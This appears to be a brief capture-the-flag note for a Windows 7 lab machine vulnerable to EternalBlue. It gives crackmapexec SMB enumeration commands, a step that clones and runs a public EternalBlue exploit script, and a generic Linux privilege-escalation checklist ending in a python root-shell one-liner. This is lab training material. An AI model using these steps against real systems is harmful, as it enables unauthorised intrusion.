- OS: Windows 7
- IP: 10.10.10.40
- Users:
HARIS
Vulnerability research
Tags: eternal-blue, smbv1
crackmapexec smb 10.10.10.40 (SMBv1 ==> Eternal Blue)
crackmapexec smb 10.10.10.40 -u '' -p '' --shares (DENIED)
crackmapexec smb 10.10.10.40 -u 'anonymous' -p 'anonymous' --shares
git clone https://github.com/d4t4s3c/Win7Blue
./Win7Blue.sh
Exploiting Windows 7 x64:
Privilege escalation
No separate privilege escalation step.
* Check service
* Check network (everything running under 127.0.0.1)
* Check cronjob (maybe upload pspy)
* Check the versions of package of the services running under 127.0.0.1 (dmesg |grep -i 'mysql' --color=auto)
* getcap -r / 2>/dev/null
if capabilities for python just 'import os;os.system("/bin/dash")' and RUN ROOT ~#